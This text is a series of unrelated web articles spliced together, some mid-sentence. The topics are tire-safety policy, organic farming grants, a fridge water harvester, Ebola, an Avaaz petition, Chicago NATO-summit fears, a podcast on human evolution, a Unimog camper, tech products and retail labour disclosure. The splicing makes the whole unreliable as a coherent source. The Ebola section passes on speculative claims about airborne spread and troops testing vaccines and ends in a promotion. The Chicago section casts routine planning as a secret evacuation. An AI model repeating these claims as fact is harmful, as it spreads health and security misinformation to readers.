In addition to the NASCAR partnership, the Department of Transportation will work with tire manufacturers, tire retailers, and fuel distributors, launching a “Tire Safety Awareness Month”, which started the day the program was announced, and will run through January 9, 2015. Furthermore, a guide on fuel efficiency and tire safety, titled “Be TireWise”, was also unveiled as part of the program, which should help drivers save money on gas stay safe while on the road. Finally, the program set 2017 as a deadline for creating a formal rule on tire fuel-efficiency.
During the Tire Safety Awareness Month, the department will provide consumers with advise on the correlation between proper tire maintenance – which include rotation, balance, alignment, and tire pressure – and traffic safety. According to the Secretary, tire-related defects cause about 11,000 crashes a year in the United States. This initiative is supported by
various U.S. tire manufacturers, including Bridgestone Americas, Continental Tire the Americas, Cooper Tire & Rubber Co., Goodyear, Michelin North America, Pirelli Tire North America, Toyo Tire North America and Yokohama Tire Corp, along with several prominent tire retailers. Manufacturers will publish information related to proper tire maintenance on their websites, and some of them will even offer free inflation services.
In addition to announcing this new program, the White House said that it has prompted the NHTSA and the EPA to issue the “next phase of medium- and heavy-duty vehicle fuel efficiency and greenhouse gas standards by March 2016.” These programs and initiatives are an important part of the Government’s efforts for reducing the impact of motor vehicles on global warming and reducing the country’s foreign oil dependence.Photo credit: dcJohn via Flickr
Organic farming just got gubernatorial. The US Department of Agriculture just announced funding for a new organics initiative--and Obama's going to give $50 million in funding for farmers to make the switch to organic. Farmers will now be able to apply for funds that will aid them in making the transition to organic. And even though $50 million isn't a whole hell of a lot in the $787 billion stimulus scheme of things, it's nonetheless a nice boost for the organic industry--here's how it'll help.While the funding itself is a positive move indeed, the publicity and credibility the move lends organic farming are indispensable. The Obamas have already thrown local farming into the limelight with the White House garden, but now it's official: the government deems organic farming worthy of funding directly. Which is encouraging. The funds will support non-organic farmers as they learn skills like natural nutrient management, crop rotation, and pesticide-free pest control.
However, a few problems with the move remain: first, there's a fairly tight deadline on the application for funds--May 29th is the cutoff. Not a lot of time for non-organic farmers pondering making the switch to take the plunge. Second, as I said before, $50 million isn't enough--it's a nice public pat on the back for the practice, as opposed to throwing some real support behind it. It could also be seen as a move designed to appease those small and organic farmers concerned with some new controversial farming laws.
But, a nice public pat on the back is better than getting ignored, right? And $50 million could go a long ways in getting more farms on the organic track.
For more details, check out the USDA press release
Follow me on Twitter @bcmerchant
More on Obama and Organic Farming
Giving Up the Day Job for Organic Farming: The Dolce Vita Diaries
Green Eyes On: President Obama, How About Organic Farming?
Petition to Turn White House Garden Into an Organic Garden?--Yes We CanResearchers are attempting to help the 768 million people who lack access to clean drinking water by recycling old refrigerators.
A team from Nottingham Trent University has claimed that their invention can create water out of ‘thin air’ to provide families in developing countries with a safe source of drinking water.
The group, led by Dr Amin Al-Habaibeh (pictured, left), says that their idea could help save the lives of thousands living in developing countries across the world, by retrofitting old refrigerators to run on solar power and providing water in countries with humid climates.
Al-Habaibeh said that the project showed how everyday items thrown away by some societies could be used to help developing countries tackle some of the key challenges they face.
He added, “Rather than dispose of unwanted refrigerators and freezers, we could repurpose them to help provide the clean drinking water which is needed by thousands of people in other countries.
“It’s a fantastic example of how we can help people in the developing world while also being sustainable by supporting reuse and recycling.”
The design works by drawing in air using old computer fans, which is then passed through a cold copper tube. The warm humid air then cools, creating condensation.
A working prototype of the design is currently being showcased at the university’s Art and Design Degree Shows Festival until June 7. The team are hoping to give detailed instructions on how to build the device so that charities around the world can begin to build their own.
Product design undergraduate Joe Wild (pictured, right), 23, spent part of his degree working as part of the team.
He said: “Water shortage is one of the world’s greatest challenges and more than 768 million people globally lack access to a safe source of water.
“Not only that, but around 2,000 children die each day from diarrhoea caused by unsafe water and poor sanitation.
“Yet this simple invention could help alleviate a lot of those problems while finding a sustainable use for unwanted refrigerators.
“By repurposing old fridges – which otherwise may end up on the scrapheap – we could provide the safe drinking water needed to help save people’s lives.”
Photo: Faruk Ates via Flickr
Further reading:
Climate change puts more people at risk of water scarcity
The real green deal: bringing energy, water and waste under control
‘Monetise’ risks to encourage long-term investment in water security
Water efficiency could provide 3.7m jobs by 2020
52% of global population to live in ‘water-stressed areas’ by 2050(NaturalNews) Noted infectious disease experts have said that the current strain of Ebola virus plaguing Africa and slowly spreading in the United States is potentially much more lethal than previous strains identified by virologists.As reported by, Dr. Michael Osterholm, the head of the Center for Infection Disease Research and Policy at the University of Minnesota, a prominent public health researcher who is nationally recognized, gave a talk in recent days explaining what another top Ebola virologist has found.During his talk, which was broadcast on C-SPAN, Osterholm said Gary Kobinger, chief of Special Pathogens for Canada's national health agency, has said the current Ebola strain appears to be far worse than any previous strain. He added that Kobinger believes that the current strain could more easily be spread through aerosols than those previously identified as well."Today I've been given permission -- something I've known about for a few weeks... when I wrote the piece, I knew about this, and it's concerned me greatly," said Osterholm, in discussing an article that he previously wrote on the issue with an audience at Johns Hopkins Bloomberg School of Public Health, in a video clip that can be seen here "Gary Kobinger and colleagues at Winnipeg -- the Canadian National Lab -- actually took one of the [Ebola] strains from Guinea and put it into macaques [monkeys]," in early September, he said. "What they saw was remarkable. It was unlike any of the Ebola viruses they've seen in monkeys. It was much, much more severe; the pathology in the lungs was remarkable, and, as Gary said -- who is one of the most prominent Ebola virologists in the world -- said, 'It is very worrisome to me, about what I saw there.' Maybe this is a different virus."Osterholm said he was not trying to scare anyone or raise undue fears, but rather, he said, the goal was to motivate policymakers to come up with a "Plan B" should the virus, at some point, mutate and become airborne, like the common influenza virus -- a huge deal, now that flu season is once again around the corner.Just a week earlier, another top virologist, Peter Jahrling, chief scientist at the National Institute of Allergy and Infectious Diseases, where he runs the emerging viral pathogens section, said he, too, is worried because "the mutations of the virus that are circulating now look to be more contagious than the ones that have turned up in the past,"reported."When his team has run tests on patients in Liberia, they seem to carry a much higher 'viral load.' In other words, Ebola victims today have more of the virus in their blood -- and that could make them more contagious," the site reported.It is largely forgotten now except within the virology community, but in April, a few months after the outbreak began in West Africa, a group of 30 scientists and researchers published a report in thewhich said that the current strain of the virus did not come from Central Africa but was instead a new strain.Asreported at the time:Syndicated columnist, author and former Reagan Administration Treasury official Paul Craig Roberts believes that the Obama Administration's response -- sending 4,000 US troops to virus-ravaged West Africa though they have no specific infectious disease training -- is "peculiar." He goes on to speculate that perhaps the administration might be using troops to test an experimental Ebola vaccine. And he further writes:It's a worthy question, given the evidence and findings that the current strain did not originate where the last strain originated.Learn all these details and more at the FREE online Pandemic Preparedness course at www.BioDefense.comAvaaz's "Before Monsanto uncorks the champagne" petition calling for an end to negotiations on the Trans Pacific Partnership trade talks mysteriously vanished today from the website prompting charges of deliberate sabotage.
It has just been restored to its original location at www.avaaz.org/en/no_champagne_for_monsanto_coff/ just after 7pm GMT - but stripped of its count of signatories which had reached over 800,000 as of last night before it went down. Signatures are still being accepted - at a rate of a signature every 2 seconds - but Avaaz is warning:
"Due to high traffic, not all Avaaz website functions are currently available. We are working hard to get the site back to its awesomeness as soon as possible."
Stop Press: as of 10.30am GMT signature rate increased to 5+ per second = over 10,000 per hour. Keep it up!
The petition is aiming to receive 1 million signatures for delivery to the governments negotiating the TPP in a final attempt to scupper the deal which campaigners say threatens food safety, health, environment and financial regulation, by allowing corporations to sue governments in secret tribunals for almost anything that infringes their right to profit.
But around midday today the petition went offline. Meanwhile an anonymous post on Slashdot reported that Avaaz had been frantically trying to restore the petition. But that when they did around 3pm GMT all the signatures had been deleted and the signature tally was reset to zero. It then remained out of action until 7pm - by which time technicians had simply removed the signature count from the page altogether.
The petition text reads: "As concerned global citizens, we call on you to make the TPP process transparent and accountable to all, and to reject any plans that limit our governments' power to regulate in the public interest. The TPP is a threat to democracy, undermining national sovereignty, workers' rights, environmental protections and Internet freedom. We urge you to reject this corporate takeover."
The accompanying text also reports: "3 countries are wobbling, and if they pull back now the whole deal could crumble. If we deluge leaders in Chile, New Zealand and Australia with a global call to stand strong, we can stop this corporate takeover before Monsanto uncorks the champagne. Sign up now and share this with everyone!"
Avaaz has yet to release any statement about the technical problems, which have not affected any other petitions.A couple of weeks ago we reported on the Urban Warfare training that was going on in Downtown Chicago. Now there are growing fears that those drills were in preparation for major problems during next months NATO Summit. A leaked email, from the Milwaukee Red Cross, is warning that government officials are actually planning to evacuate Chicago in the event of trouble.
As unlikely as it may sound, CBS 2 News in Chicago is reporting that government officials, in the Secret Services and the Department of Homeland Security, are secretly planning for the possibility of having to evacuate Chicago.
CBS 2 News has obtained a copy of an e-mail sent to volunteers from the Milwaukee area branch of the American Red Cross.
The email warns volunteers that the NATO summit “may create unrest or another national security incident. The American Red Cross in southeastern Wisconsin has been asked to place a number of shelters on standby in the event of evacuation of Chicago.”
The Red Cross claims that the directive came directly from the “City of Chicago and the Secret Service.”
NOT JUST A DRILL:
Chicago’s Office of Emergency Management and Communications called last weeks urban warfare drills a “routine training exercise”, but with this new information coming out of the Milwaukee area branch of the American Red Cross, you really have to wonder what’s going on in Chicago. Were last weeks drills really “routine”, or was it part of a larger plan that includes the evacuation of Chicago?
Chicago was already on edge after news broke earlier this week that a number of residents had been asked to leave their condos in preparation for major rioting.
A number of local residents received letters that read:
“We are STRONGLY recommending that all residents find places to stay during the conference from May 18 through May 21.” “In the event of a riot or the potential of one near the building, all access doors will be locked including the garage door,” the letter continues. “For everyone’s safety, we will be instructing anyone in the building to stay in his or her unit.”
As we draw closer to the NATO summit in Chicago, a number of prominent government officials are also starting to warn people to get out of Chicago. Alderman Bob Fioretti, whose district will be most affected by security efforts, was warning residents to leave town during the summit. He told local reporters “I’ve been advising people, if they can afford it, leave town.”
What should you do?
Having an emergency evacuation plan is critical in any situation. If things go bad during the summit, the last thing you want is to be caught off guard. If I lived in Chicago, I would immediately start planning for the worst case scenario. (it’s better to be safe than sorry)Final Update: It has been confirmed, Best Buy has been canceling orders all day, knocking all customers who ordered more than one down to just one copy. This has been catching wind now at several news sites, but here is our own confirmation since a fellow staff member and several of our fans have also seen this first hand:
Aka, keep and eye out, as many of these systems are likely going to appear on Best Buy’s website in the coming days. Currently, the system is NOT listed on their website, but if and when a new listing is posted, we’ll let you know.
Today some interesting news crossed our path, so I did some additional researching and even went to my local store. As it turns out, Best Buy is currently in the process of issuing refunds to people who ordered more than one Majora’s Mask New Nintendo 3DS XL, as they are limiting it to one per customer. This is good news for many, as scalpers who scooped up several copies will be stuck with just the one from their store to resell. Originally you could order as many as you liked, so I am sure if someone wants they could argue false advertising, but in general most of them are likely going to get refunded and thus, stock will be replenished.
There is no target time or date to make the stock available for order again. If you’re the unlucky one that happened to buy 4 for various family members, you’re out of luck. You’ll have to get them to order it for themselves when it becomes available. I tried to get an exact date, but unfortunately we’ll have to keep refreshing our browser until we see it appear. We’ll try to report the moment they become available, so stay tuned.Anthropologist Chris Stringer of the Natural History Museum in London talks about Neandertals. And Scientific American's Kate Wong, co-author with Donald Johanson of Lucy's Legacy, talks about the discovery and impact of the famous Lucy fossil. Plus, we test your knowledge of some recent science in the news. Web sites related to this episode include www.snipurl.com/lucyfinder; http://bit.ly/bntu0
Podcast Transcription
Steve: Welcome to Science Talk, the weekly podcast of Scientific American posted on October 23rd, 2009. I'm Steve Mirsky. In this episode, we'll talk human evolution with renowned anthropologist and Neandertal expert Chris Stringer and with Scientific American editor Kate Wong, coauthor of the new book Lucy's Legacy: The Quest for Human Origins. First up, Chris Stringer. He is a fellow of the Royal Society and holds the title of research leader in human origins at the Natural History Museum in London. His most recent book is Homo Britannicus: The Incredible Story of Human Life in Britain and that's the first subject of our conversation.
Stringer: Obviously there was an old view that when people got into Britain half a million years ago, they were always here right through to the present. And we now know that's completely wrong; [that] actually what happened about every hundred thousand years, when there was the peak of an ice age, Britain got cleaned out of people entirely and then had to be recolonized all over again. [And] remarkably, 125,000 years ago, when Britain seemed to be an island perhaps strongly for the first time, nobody got back. So you had a warm period with hippos and elephants and tons of [stuff for people to eat] and no one was there, and the Neandertals did not have boats and they couldn't get across the English channel.
Steve: Wow!
Stringer: So for 100,000 years, Britain had no people on it even when the climate would have allowed it. Eventually, the Neandertals made it back, when sea level fell again. So you've got these episodes of human appearance and then people just disappear. People were only in Britain might be for 20 percent of the time in the last 700,000 years, which is incredible, you know, [for] the old idea of continuity of occupation.
Steve: And by people you are including all Homo species.
Stringer: Yeah, so we think now obviously there's the species identified from Southern Europe Homo antecessor, pioneer man, that the Spanish have identified at Atapuerca, and probably that could have been the first species into Britain moving up from Southern Europe in [warm] stages. Then we think we have Homo heidelbergensis, such as a[t] Boxgrove. Then later on the Neandertals, so from about 400,000 on which whenever people were in Britain for 300,000 years, it's Neandertals, evolving Neandertals. And the Neandertals were in Britain until about 35,000 years ago and then at 30,000 years ago we become modern people as a ceremonial burial at Paviland of Cro-Magnons and it was in fact probably the first one ever found, and it was dug up in about 1822, and because they had no concept then of what it was, it was thought to be perhaps a prostitute servicing the Roman army because this individual had red ochre powder on them and ivory jewelry. So they thought it was a woman. In fact it was a man, so it was nicknamed, it was called the "Red Lady of Paviland". In fact, you know, it's a man. We have learnt quite a lot since 1822. And that's a [burial that's over] 30,000 years old. Then those modern people were in Britain, even they couldn't survive the peak of the last ice age. So about 20,000 years ago, the last ice age reaches its peak, even those people, the moderns, can't survive and Britain has to be recolonized [all] over again after the peak of the last ice age, so it is an amazing story.
Steve: You mentioned evolving Neandertals; so what you are implying there is, the Neandertals of 300,000 years ago were different from the Neandertals that were the last ones to be there 35,000 years ago.
Stringer: Yes certainly. We contract the evolution of the Neandertals and [obviously] people use the term differently, so different people use different ways of defining what is a Neandertal. For me, the Neandertal lineage, we can see it's beginnings at Swanscombe in Kent |
Continental MPT81 size 275/80R20. Due to the unique construction of the portal axles (a technology using hub gears where the axle tube is above the center of the wheel), the Unimog 404.1 boasts a ground clearance of 15.8” and a 45-degree angle of approach and departure. This model Unimog takes regular unleaded gasoline and has a fuel capacity of 2x 15.9 gallons with a relative cruising range of 354 miles.
Linked up to that beast of an engine is a 6-speed synchromesh transmission with 2-speed reverse. An internal transfer case provides rear wheel drive or 4×4. In addition, there are mechanically locking differentials on both the front and rear axles and both the 4×4 and locking diffs are shift on the fly.
With the 404, the flexible frame is essentially a part of the suspension. I have coil front and rear springs. So that, combined with solid axles, the flexible frame, and torque tube suspension, I get a lot of articulation without sacrificing traction.
The cab is a traditional military 24-volt with a 19-amp, 300-watt generator. I’ve upgraded the rear box to be a 12-volt, 125-watt solar panel powering dual Odyssey PC31-2150 deep cycle batteries. There is neither power steering nor power brakes. The brakes are front and rear hydraulic drums.
While the shell of the ambulance box is original, I gutted the entire interior and built out a comfortable camper. I constructed cabinets, a dinette/bed out of ¼” and 1/2” birch plywood, and fashioned a propane stove on top of a caeserstone countertop. In fact, the last time I wood worked was in my seventh grade shop class, but I taught myself how to build cabinets, doorframes, and cabinet doors just for this project. A local stonemason cut the countertop from remnant black caesarstone quartz and a local upholster shop in Los Angeles helped me sew cushions for the rear dinette/bed. Integrated into the cabinets is a pioneer stereo powering 4 pioneer 6×9 three-way speakers. I also installed an Engel 45qt fridge/freezer to keep my food fresh on long journeys.
The cab is incredibly loud, and even with insulation and sound proofing, speaking with my co-pilot or friends in the rear box is incredibly challenging. To combat this, the Unimog has a system typically found in small aircraft or helicopters. The Sigtronics SPA-400 and RES-400 units power the close circuit communication system accompanied by 3 Sigtronic headsets. In addition, I added a back up camera using the Rear View Safety 3-camera setup.
My Unimog is an extension of myself really – ready for a broad array of activities both in Los Angeles and well beyond its borders. This vehicle is just as comfortable tailgating with the crowds at USC games, as much as it’s at ease off-roading with enthusiasts at King of the Hammers. What I’ve enjoyed most are the various camping trips I’ve taken her on. One could even say that since purchasing the Unimog, I’ve gone through a camping renaissance and try to get out of LA (when work allows) and off the beaten path at least once a month. Some of my favorite camping spots are within 200 miles of LA, which make for great long-weekend style camping. However, within the coming year, I hope to start spending time planning and executing longer trips including the Mojave Trail and maybe even one day, the Pan-American Highway.
David and Mark don’t know what to expect on their first Unimog adventure, but take in the sights of Los Angeles in the rear of a Unimog as it makes its way up the 405.
The moon illuminates the snow-covered Upper Pines Campgrounds in Yosemite National Park as our group stays warm by the fire.
Ribbons of light dance across the long-exposure frame of the Unimog at the Upper Pines campsites in Yosemite National Park.
The Unimog easily climbs the surrounding terrain at Truckhaven just west of the Salton Sea in Southern California.
After a long journey cutting across the dirt-covered roads connecting Jawbone to Weldon, CA, the Unimog takes a rest on the shores of Lake Isabella.
All along the Kern River, signs mark the easiest way to the river’s edge
Tall, dry grasses surround the Kern River valley. Just be careful of fields full of grasshoppers, which shortly presented themselves after this photograph was taken.
The Unimog has found a great spot to camp for the weekend. All along the Upper Kern River, first-come first-serve no-fee space is available for camping.
Chris just takes a nap in the sandbar of the Kern River while Betsy fishes for dinner.
Jackie and David sit at the river’s edge enjoying a cold beer.
David wipes his brow. The temperatures can soar during the day into the high 90’s while the river can dip into the low 60’s/high 50’s from the snowmelt runoff that feeds it.
David starts a fire as the sun retreats behind the horizon.Follower Fridays is a series of profiles highlighting members of Gaysian Third Space to showcase the diversity of gaysians in the Community. This week’s featured member is @jzoftroy.
Who are you?
Well isn’t this a loaded question?
JK. I’m Jan. Hi :]
I’m dangerously close to hitting a new decade in life, a working professional, lifelong student, dreamer, friend, slytherpuff, and many other things–not unlike an onion with many layers, without all the crying.
Where are you from?
I am a native Angeleno! Los Angeles, CA born and raised. Love it or hate it, LA will always be home.
What do you do?
I just finished my Master’s Degree in Communication Management from USC. Fight On! I am also a government slave–and I love it. I am about to finish my 7th year working for a Federal government agency as an HR Analyst. Only 23 more years until retirement? :) I also teach online classes for Michigan State University. I am also in the process of pursuing my next educational endeavor…maybe an MBA or a PhD but I haven’t committed yet because 1) my student loans and 2) my student loans.
What are you passionate about?
Fewer things get me more excited than food! And conversely, tennis, running and yoga. I could exist in a life where all I did was eat, play and watch tennis, run, and do yoga. My social media accounts are all about those few passions, and of course, my family and friends.
What is your dream job (real or fantasy)?
I would want to be able to travel the world and do my work from wherever I am, whether it be on a plane, in a cafe in a big city, on a beach on a tropical island, in the park in front of a famous landmark, or waiting in line to ride the Harry Potter ride at Universal. Minimum time commitment with huge pay, great benefits, early retirement, and a huge 401K waiting for me when I decide I’m too tired to keep working. Pretty big dreams huh?
If you could change the world with one idea, what would it be?
There is so much hatred in the world over differences in opinion and ideology. I wish that people could learn how to co-exist and respect each others’ differences without wanting to or actually doing horrible things to one another. Pretty simple idea in theory, but you know…Former teammate of Senzo, Benni McCarthy was shocked to hear of the shooting that saw Senzo Meyiwa lose his life. He tells Soccer Laduma how he heard about the incident and bids farewell to 'Saint Senzo'.
"I'm still in major shock! Oh my God... how can this have happened! A close friend of mine who is close to the chairman (Irvin Khoza) called me at about 10pm last night and told me that Senzo was dead. I was just like, oh my God. It's the hardest thing in the world to accept. I know because I lost my father, so I'm familiar with this loss of someone so close and dear to you. It's really a difficult pill to swallow and one you don't easily get over.
"I knew his wife well and his young daughter became a good friend of my daughter when I was at Pirates. I believe he has a second daughter as well now. My condolences to those in his life and especially those daughters who now have to grow up in this ugly world without a father. I'm a dad to daughters myself so I know what it's like to bring them up in this world and so my heart goes out to them. And to his family if there is anything I can do, they must just call me and if I can I will help. And the Orlando Pirates family, Yhooooo... what a loss for them. Where do you start? They have lost their 'Saint Senzo', " he said.
"I gave him the name Saint Senzo because his role model was Iker Casillas who in Spain is known as Saint Iker. But losing Senzo... I'm not sure Pirates will have another like him. He has so much personality, so much character. He was so important in that Orlando Pirates change room. If the team was down, or in a tough position, and the atmosphere was tense, Senzo was the one who would change it. Senzo could make the worst of situations seem doable. That is rare today in a soccer world where it is always about the money, always about the business, always tense with no time to smile.
"He was a leader, a true leader. Yho, I have so many stories about Senzo. Even now as I remember him all I can think about is how he would always lift us. Yho... I'm close to tears on this side so I'm not going to go on now. But my prayers are with the Orlando Pirates family who have lost a player I don't think they will ever replace, " concluded the former Bafana star.If you're a fan of the novel that Brad Pitt's zombie vehicle is based on, the author has some bad news for you.
During a recent interview at Mansfield University, World War Z author Max Brooks was asked about his novel's adaptation to the big screen, and he said he expects the film will have the same title "and that's it." But Brooks doesn't sound too angry about all the changes the screenwriters may have heaped on his baby. As the son of legendary writer/director/comedian Mel Brooks and Oscar-winning actress Anne Bancroft, he knows how Hollywood works.
"I knew they were going to rewrite it," Brooks said. "I grew up in Hollywood. I knew it was going to go through a million changes."
We haven't seen World War Z yet, so we can't say for sure just how many changes will be made to Brooks' novel. We do know that the film has undergone rather extensive rewrites and reshoots on its way to a release next month, which could have brought it closer to or further away from the source material. As far as we know, Brooks has only seen trailers for the flick, but he noted he was invited to read the script after shooting began, and said no.
"I said: Why would I read this? This is not the movie you're going to make," Brooks said. "You're going to do rewrites and reshoots. That's what happens when you make a giant movie. "My attitude is if you haven't invited me in to contribute, then fine. Go make the movie you want to make and I'll see it when it comes out."
Brooks said his main concern as the release of the movie looms isn't how he'll feel about it, but how the book's fans will react when they find that some of their favorite moments have been drastically altered or simply removed. His advice: treat the book and the movie as two different things.
"I cannot guarantee that the movie will be the book that they love," Brooks said. "And I'm in no position to tell people to see this movie or not see it. If I'm asked I say: See the movie as a movie and judge it as a movie."
World War Z hits theaters June 21, so we'll all judge for ourselves then. What do you think? How different will the film wind up being?
(Via Huffington Post)BMW takes pride in positioning itself as an elite luxury vehicle, except in the realm of electrics. The company has entered the electric car market with its i3 four-seater city car, which boasts a lower-than-expected price tag that is sure to rattle competitors Tesla and Nissan.
The German car maker announced a base price $41,350 in the US, and €34,950 ($46,000) in Germany. Buyers in the US will also have to pay a $925 transport fee. The BMW will unveil the production version of the i3 in New York, London and Beijing on July 29, while the car will arrive in US showrooms in the second quarter 2014.
Frankfurt-based Commerzbank analyst Sascha Gommel told Reuters that the i3’s “competitive” pricing could help BMW “grab a decent share of the electric-car market.” In 2012, over 150,000 electric vehicles were sold worldwide, while in the first half of 2013, the US sales growth of hybrids and battery powered vehicles outpaced even the pick-up truck segment.
The BMW i3 is priced above electric car competitors like the 2013 Nissan Leaf and 2014 Fiat 500e, both of which cost less than $33,000, as well as hybrids like 2013 Ford C-Max. But it is clear that BMW is setting its sights on Tesla’s turf. The i3 is smaller, cheaper and less powerful than Tesla’s best selling Model S sedan (which starts around $70,000), but the i3 tells us a lot about BMW’s game plan.
BMW has followed Tesla’s lead in making its electric car’s batteries more efficient and lightening the weight of the car. BMW created a separate “i” sub-brand to house its family of eco-friendly cars, and is counting on the i3 and the i8 hybrid sports car, which has scored rave reviews, to drive sales. The lithium-ion battery-powered i3 will have a range of 80-100 miles, significantly lower than 208 miles that Tesla claims the base version of Model S delivers. But BMW is offering a premium option called the i3 ‘ReX,’ an extended-range version that will allow users to drive up to 185 miles without recharging. The price of those vehicles isn’t yet known. Tesla also offers premium options that go above and beyond the 208-mile range. The German carmaker is also pumping in big money into the electric car project. It has already invested 600 million euros ($790 million) in production facilities for the i3, including a new factory in Washington.
The success of the Model S has sent the Tesla stock soaring around 270% this year, and helped the company post its first profit last quarter. But BMW has the potential to threaten Tesla’s dominance in the luxury electric vehicle segment. No doubt CEO Elon Musk is feeling edgy.
Here’s a look at some of the leading electric vehicles that BMW will go up against in the US market.
Reuters / Rebecca Cook 2013 Chevy Volt: Starts at $39,000
Reuters / Issei Kato 2012 Nissan Leaf: Starts at $26,000
Reuters / Rebecca Cook 2013 Ford C-Max Energi: Starts at $33,000
Reuters / Noah Berger 2013 Tesla Model S: Starts at $70,000Reviews Tue Jun 07 2011
Hamster Rage is an interesting beast by writer and artist Brian J. Crowley. It's a webcomic featuring an anthropomorphic super powered hamster with a penchant for trench coats and cheese. Nevertheless, the lead character isn't what makes this an odd read. It is the feeling that so much more is going on beyond the scenes than the reader is privy to. The first introductory batch, available online or in a recently released paper issue, features Roosevelt, the titular raging hamster, alongside a boatload of supporting characters duking it out in the streets of Chicago, featuring a number of landmarks familiar to people who frequent Montrose between Ashland and Clark.
Perhaps the most endearing aspect of this heaping helping of action is the gratuitous number of extras thrown into the mix alongside the animated and cartoony style of Crowley. The vast majority of characters are gimmicks. Some fall a bit flat in that regards but the ones that stick do so quite well. Visual gags abound with characters like Roboto Muchacho and Jet Knight, appearing just enough not to overstay their welcome.
Furthermore, beyond gobs of extras, Hamster Rage is loaded with cameos of other Chicago creators' work and product placement for comic shops. Although these pop-ins are a bit overwhelming and are given far too much space to roam, to the detriment of getting to know Roosevelt one iota, I expect there is some larger purpose to it all. Indeed, there is almost no personality to latch on to as the comic is a large sequence of kicks and punches with little connective tissue beyond 'costume X wallops costume Y and then costume Z shows up and fights'.
As a webcomic, Hamster Rage does have potential to rectify these quirks by releasing tidbits to inform readers but a quick glance at the site is a bit of a letdown in this regard. Some of the site's functionality is suspect with broken links and missing pages. Plus, there's a suspicious absence of new content. While a quick glance at Hamster Rage's fan site does promise something called "Hamster Rage 2.0", the scarce details on the future make recommending this title difficult.
Hopefully more details emerge about what's on the horizon for Hamster Rage. While the first installment is rough around the edges, the sheer volume of characters, some with ample potential, packed into these thirty-odd pages would make it a shame for it all to hit a brick wall.Remember that mini Maingear Steam machine we saw at CES a couple weeks ago? The tiny system combines a quad-core AMD APU with discrete Radeon graphics, and enthusiasts will soon be able to build their own version of it. Gigabyte has formally introduced a Brix Gaming barebones with the same chassis and motherboard. Behold the Brix Gaming GB-BXA9G-8890.
Like the Maingear build, this overgrown NUC sports an A8-5557M processor. The quad-core chip has a 2.1GHz base clock speed, a 3.1GHz Turbo peak, and a 35W power envelope. Surprisingly, though, it's based on AMD's older Richland silicon rather than the latest Kaveri APU. We haven't seen 35W versions of Kaveri yet, so perhaps that's why Gigabyte went with the older chip.
Richland has its own integrated graphics, but this Brix configuration features a discrete Radeon R9 M275X, as well. Although the M275X isn't listed on AMD's website, Gigabyte's spec sheet suggests that the GPU is derived from the Radeon HD 8800M series. That family has 640 shader processors, clock speeds in the 575-775MHz range, and a 128-bit path to 2GB of GDDR5 memory. We were told at CES that the R9 275X has roughly equivalent performance to the desktop Radeon HD 7750, which has fewer shader processors but a higher GPU clock speed.
Gigabyte pairs the R9 M275X with 2GB of dedicated GDDR5 RAM. The system also has a couple of SO-DIMM slots for system memory, an mSATA slot for mini SSDs, and a 2.5" bay for larger SSDs and mechanical hard drives. There's a separate Mini PCIe slot, too, but it's occupied by the system's wireless card. 802.11ac Wi-Fi and Bluetooth 4.0 are both on the menu.
The Brix Gaming's wired connectivity includes HDMI and Mini DisplayPort video outs, a Gigabyte Ethernet jack, an analog headphone connector, and four USB 3.0 ports. Everything is squeezed into a diminutive chassis that measures only 4.5" x 5.0" x 2.3" (115 x 128 x 60 mm). Gigabyte's press release doesn't mention pricing details, but we've asked the company for clarification. We're also due to receive one of these units for testing. Stay tuned.Workers rights activists supported the company’s decision, saying that it will pressure rivals such as Walmart Canada and Loblaw to follow suit.
Hudson’s Bay Co. will become the first large Canadian retailer to disclose the overseas factories it uses to make its private-label garments, a move that will make the company more accountable for the safety and rights of factory workers in developing countries.
The garment sector has faced increased scrutiny since April, when the Rana Plaza collapse in Bangladesh killed more than 1,129 workers making clothing for Loblaw and other western retailers.
Meanwhile, Loblaw, owner of the Joe Fresh brand of clothing, said it had signed a retailer pledge to stop using cotton produced in Uzbekistan because the Central Asian country routinely forces thousands of adults and children to join in its autumn cotton harvest.
Hudson’s Bay had previously refused to disclose the names of the 750 factories, in countries such as China and Bangladesh, where its clothing is made. It argued the factory names were valuable corporate intelligence and disclosing them could put the company at a competitive disadvantage.
But several large brands, including sportswear companies Nike and Adidas and retailer H&M, disclose their factory lists and say they have not suffered because of it.
Tiffany Bourré, a Hudson’s Bay spokeswoman, confirmed the company is working on a factory disclosure policy, but said it is too early to give details.
Bourré said the company’s executives may also apply a disclosure policy for private-label garments sold in the U.S. by luxury retailer Saks.
“We’re still closing the Saks deal,” Bourré told the Star. “We don’t yet officially own them. When we do, then I’ll move forward with that and I’ll have something to share.”
Bob Jeffcott, a policy analyst with Toronto-based Maquila Solidarity Network, which monitors safety and workers rights conditions in developing countries, said the Hudson’s Bay policy would be a “significant step.”
“When disasters occur like Rana Plaza, or when we get reports of labour rights abuses, factory disclosure allows us to find which companies are linked, and we can go to the companies to try to get problems fixed,” Jeffcott said. “It also shows an openness by the retailer that they won’t try to hide something.”
Loblaw spokesman Bob Chant said the grocery giant is considering whether to release the names and locations of its garment factories, “but it’s not something we’re acting on at this time.”
Chant said Loblaw has made moves to improve worker safety at its factories in Bangladesh and elsewhere.
“As part of the audit process, we now investigate building structural integrity,” he said. “We didn’t do that before.”
Chant said Loblaw has audited the 40 factories it uses in Bangladesh and no significant structural deficiencies were found. The company also signed The Accord on Fire and Building Safety in Bangladesh, an agreement that will see 1,200 factories audited, with the western retailers promising to pay for safety upgrades at factories where wages are the lowest in the world, starting at about $39 a month.
“While transparency may contribute to the effort, what we have done in Bangladesh with the accord is equally important,” Chant said. “We’re working with workers there, making sure they keep their jobs.”
Chant said Loblaw is also pledging to find out whether its suppliers are using cotton from Uzbekistan. If suppliers do use that country’s cotton, Loblaw will insist that they stop.
Uzbekistan expects to harvest 3.35 million tonnes of cotton this fall and its citizens will be forced to pick the crop. Public-sector employees and children alike are threatened with physical violence, the loss of jobs and even their pensions if they refuse.
“We will get there on these issues,” Chant said. “You don’t flip a switch and overnight everything changes.”
While Loblaw is a member of the Bangladesh accord, Hudson’s Bay is a member of a competing group of companies called The Alliance for Bangladesh Worker Safety. That group is paying for inspections and offering loans for safety upgrades, but it has not promised to cover all improvements.
Walmart, which has said it uses 279 factories in Bangladesh, does not disclose the factories it hires, although it is also a member of the alliance and lists factories that have been banned from producing Walmart merchandise after failing audit scores.
Only weeks ago, former Canadian Olympian Bruce Kidd told the Star that it was inappropriate for Hudson’s Bay to keep secret the names of the factories it hires. Kidd’s comments came a few months before the Winter Games in Sochi, Russia, with Hudson’s Bay saying all of its Olympic-themed clothes produced for consumers were made in China.
